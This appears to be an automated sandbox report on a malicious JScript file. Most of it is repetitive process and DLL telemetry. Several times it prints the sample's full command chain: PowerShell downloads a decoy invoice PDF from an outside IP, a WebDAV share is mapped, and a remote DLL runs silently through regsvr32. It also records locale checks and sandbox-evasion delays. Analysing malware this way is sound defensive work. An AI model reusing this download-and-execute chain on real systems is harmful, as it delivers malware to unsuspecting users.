Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\767.js.csv");ITextStream.WriteLine(" entry:8523 f:exqhtjhz");ITextStream.WriteLine(" exec:2 f:exqhtjhz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49736

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3875			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5935			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5044	Thread sleep count: 3875 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5044	Thread sleep count: 5935 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4788	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1600	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7136	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7320	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2290895660.0000018939469000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2291375541.0000018939408000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3439500686.000001EA7F654000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3439467483.000001EA7F642000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3438362394.000001EA79E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.2290895660.0000018939469000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
